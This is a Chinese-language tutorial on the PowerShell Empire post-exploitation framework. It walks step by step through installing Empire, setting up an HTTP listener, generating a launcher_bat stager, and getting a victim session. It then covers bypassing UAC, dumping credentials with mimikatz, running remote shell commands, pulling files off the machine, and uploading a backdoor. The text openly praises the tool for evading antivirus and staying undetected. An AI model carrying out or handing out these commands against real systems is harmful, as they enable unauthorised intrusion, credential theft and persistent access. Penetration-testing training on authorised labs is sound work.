0x01 简介
Empire是一个后渗透攻击框架。它是一个纯粹的PowerShell代理,具备加密安全通讯和灵活架构的附加功能。Empire具备在不须要PowerShell.exe的状况下执行PowerShell代理的方法。它能够迅速采用可后期利用的模块,涵盖范围普遍,从键盘记录器到mimikatz等。这个框架是PowerShell Empire和Python Empire项目的组合; 这使得它用户友好和方便。PowerShell Empire于2015年问世,Python Empire于2016年问世。它相似于Metasploit和Meterpreter。但因为它是命令和控制工具,它容许您更有效地控制PC。
PowerShell提供了丰富的攻击性优点,进一步包括.NET的所有访问,applock白名单以及对Win32的直接访问。它还在内存中构建恶意二进制文件。它提供C2功能,容许您在第一阶段以后植入第二阶段。它也能够用于横向移动。它与其余框架相比发展迅速,且很是方便。此外,因为它不须要PowerShell.exe,它可让您绕过反病毒。所以,最好使用PowerShell Empire。
0x02 功能
listenter:监听器是一个从咱们正在攻击的机器上侦听链接的进程。这有助于Empire将战利品发回攻击者的计算机。
Stager: stager是一段代码,容许咱们的恶意代码经过受感染主机上的代理运行。
proxy:代理是一种程序,用于维护计算机与受感染主机之间的链接。
module:执行咱们的恶意命令,这些命令能够收集凭据并升级咱们的权限。
0x03 安装
使用如下命令下载它:
下载完成并完成后,请按照下面给出的步骤进行安装:
cd Empire/
cd setup/
./install.sh
安装完成后,移回Empire目录并使用./empire运行empire
如今使用help命令,由于它打开了最初所需的全部基本选项。
(Empire) > help
Commands
========
agents Jump to the Agents menu. # 跳转到代理菜单
creds Add/display credentials to/from the database. # 从数据库中添加/显示凭据
exit Exit Empire
help Displays the help menu.
interact Interact with a particular agent. # 与特定的代理交互
list Lists active agents or listeners. # 列出活动代理或侦听器
listeners Interact with active listeners. # 与活跃的会话互动
load Loads Empire modules from a non-standard folder. # 从非标准文件夹加载Empire模块
plugin Load a plugin file to extend Empire. # 加载插件文件以扩展Empire
plugins List all available and active plugins. # 列出全部可用的和活动的插件
preobfuscate Preobfuscate PowerShell module_source files # 预混淆PowerShell模块源文件
reload Reload one (or all) Empire modules. # 从新加载一个或多个Empire模块
report Produce report CSV and log files: sessions.csv, credentials.csv, master.log
# 生成CSV报告和日志文件
reset Reset a global option (e.g. IP whitelists). # 重置一个全局的选项
resource Read and execute a list of Empire commands from a file. # 从文件中读取并执行Empire命令列表
searchmodule Search Empire module names/descriptions. # 搜索帝国模块名称/描述
set Set a global option (e.g. IP whitelists). # 设置全局选项
show Show a global option (e.g. IP whitelists). # 显示全局选项
usemodule Use an Empire module. # 使用一个Empire模块
usestager Use an Empire stager. # 使用一个Empire代码段
根据工做流程,首先,咱们必须在本地机器上建立一个监听器。
listeners 查看活动的侦听器
进入监听器界面输入如下命令查看全部可用的侦听器
(Empire: listeners) > uselistener <tab> <tab>
dbx http_com http_hop meterpreter redirector
http http_foreign http_mapi onedrive
最流行和最经常使用的侦听器是http
uselistener http
此命令在本地端口80上建立一个侦听器。若是端口80已经被像Apache这样的服务占用,请确保中止该服务,由于此侦听器是http侦听器只能在端口80上工做。
查看侦听器下可使用的命令
(Empire: listeners) > <tab><tab>
agents delete enable info list resource
back disable exit kill listeners uselistener
creds edit help launcher main usestager
若是要删除一个活跃的listener,使用kill命令
(Empire: listeners) > kill http
[!] Killing listener 'http'
如今要查看全部你应该在这个监听器类型中提供的选项:
info
正如上图所示,你可使用各类设置来修改或自定义侦听器。咱们能够尝试更改咱们的监听器的名称,这样有助于记住全部被激活的监听器;
set Name test
上面的命令会将侦听器的名称从http更改成test。
一般,此侦听器会自动占用本地主机IP,但为了以防万一,你可使用如下命令设置IP:
set Host 192.168.88.152
execute
上面的命令将执行监听器。而后返回并使用PowerShell侦听器
如今输入'back'以从监听器接口返回,以便咱们能够执行咱们的模块。使用如下命令查看Empire提供的全部模块:
(Empire: listeners/http) > back
(Empire: listeners) > usestager <tab> <tab>
正如图中所示,Windows和IOS都有不少模块,还有一些能够在任何平台上使用的多模块。如下实验,咱们将使用launcher_bat建立恶意软件并利用受害者的PC。
usestager windows/launcher_bat
而后再次键入“info”以查看漏洞利用所需的全部设置。通过检查,发现咱们只须要提供listener。
set Listener test
execute
在设置侦听器测试并建立/tmp/launcher.bat以后,上述两个命令将执行咱们的漏洞利用。使用python服务器在受害者的PC中执行此文件。
python -m SimpleHTTPServer 8080
当文件将执行时,您将有一个会话。要检查您的会话类型:
agents
使用上面的命令,您能够看到已激活会话。您能够更改会话的名称,由于默认状况下给出的名称很是复杂且难以记住。为此,请键入:
rename P4BNYW6D pc01
使用如下命令访问会话:
interact pc01
得到对会话的访问权限后,请尝试使用如下命令获取管理会话:
bypassuac http
执行bypassuac命令后,将打开另外一个会话。键入如下内容重命名该会话:
rename HE3K45LN admin01
interact with admin01 now.
interact admin01
<tab> <tab>帮助咱们查看shell中的全部选项。有几种选择对后期开发颇有帮助。如信息,工做,列表等,如图所示。
信息: 全部基本细节,如IP,随机数,抖动,完整性等。
如今,若是使用'help'命令,您将可以看到全部可执行命令。
让咱们尝试运行 mimikatz 来获取用户的密码。因为 mimikatz 不能在普通的guest用户shell上运行,而且只能在admin shell上运行; 这也证实咱们必须实现管理员访问权限,以便咱们可使用mimikatz。
Hmmmm!用户的密码为“123456”。
creds
上面的命令也会在明文及其哈希中转储任何用户的凭据或密码。
另外一个重要的命令是 shell 命令。
要使用受害者的shell运行正确的Microsoft Windows命令,咱们使用此功能。
例如:一个这样的窗口的cmd only命令是 netstat
shell netstat -ano
正如预期的那样,上面的命令向咱们展现了机器上当前工做的全部端口!
如今,由于windows中的默认shell目录是“ C:/ windows / system32 ”; 让咱们尝试移动到另外一个目录并尝试从那里下载一些文件,咱们也能够在该位置上传一些内容,例如,咱们能够上传后门!如今,使用如下命令:
shell cd C:\Users\lihui03\Desktop
shell dir
download msf.pdf
上面的命令将从窗口的桌面下载一个名为msf.pdf的图像到“帝国的下载目录”
在这里咱们能够上传任何后门,在上面的命令的帮助下,咱们从Kali的桌面上传一个后门到受害者的桌面,咱们甚至能够调用这个文件,由于咱们有shell访问权限!
upload /root/shell.hta
这是下载文件的位置:
查看上传的文件
上面的命令证实咱们确实已经上传了shell.hta
以前展现的是基本演示及其使用的不一样术语以及如何使用它们。还有另外一个术语,即usemodule。最后,让咱们看看如何使用它。
该命令将显示全部可用模块并可供使用,以下图所示:
如下是如何使用usemodule的小型演示。类型:
usemodule trollsploit/message
set MsgText you have been hacked
execute
y
使用上述模块将在受害者的PC上显示一条消息,以下图所示:
目标机器上是这样的!!!
结论
恶意软件以.exe / dll / hta等形式容许攻击者构建任何理想的攻击,由于此框架能够访问Win32。虽然反病毒公司日益知晓,但这些公司仍然有效。因为其普遍,真实和有效的后漏洞收集,它是一个伟大的工具。最终,目标是在攻击中未被发现并成功,这个工具容许咱们这样作。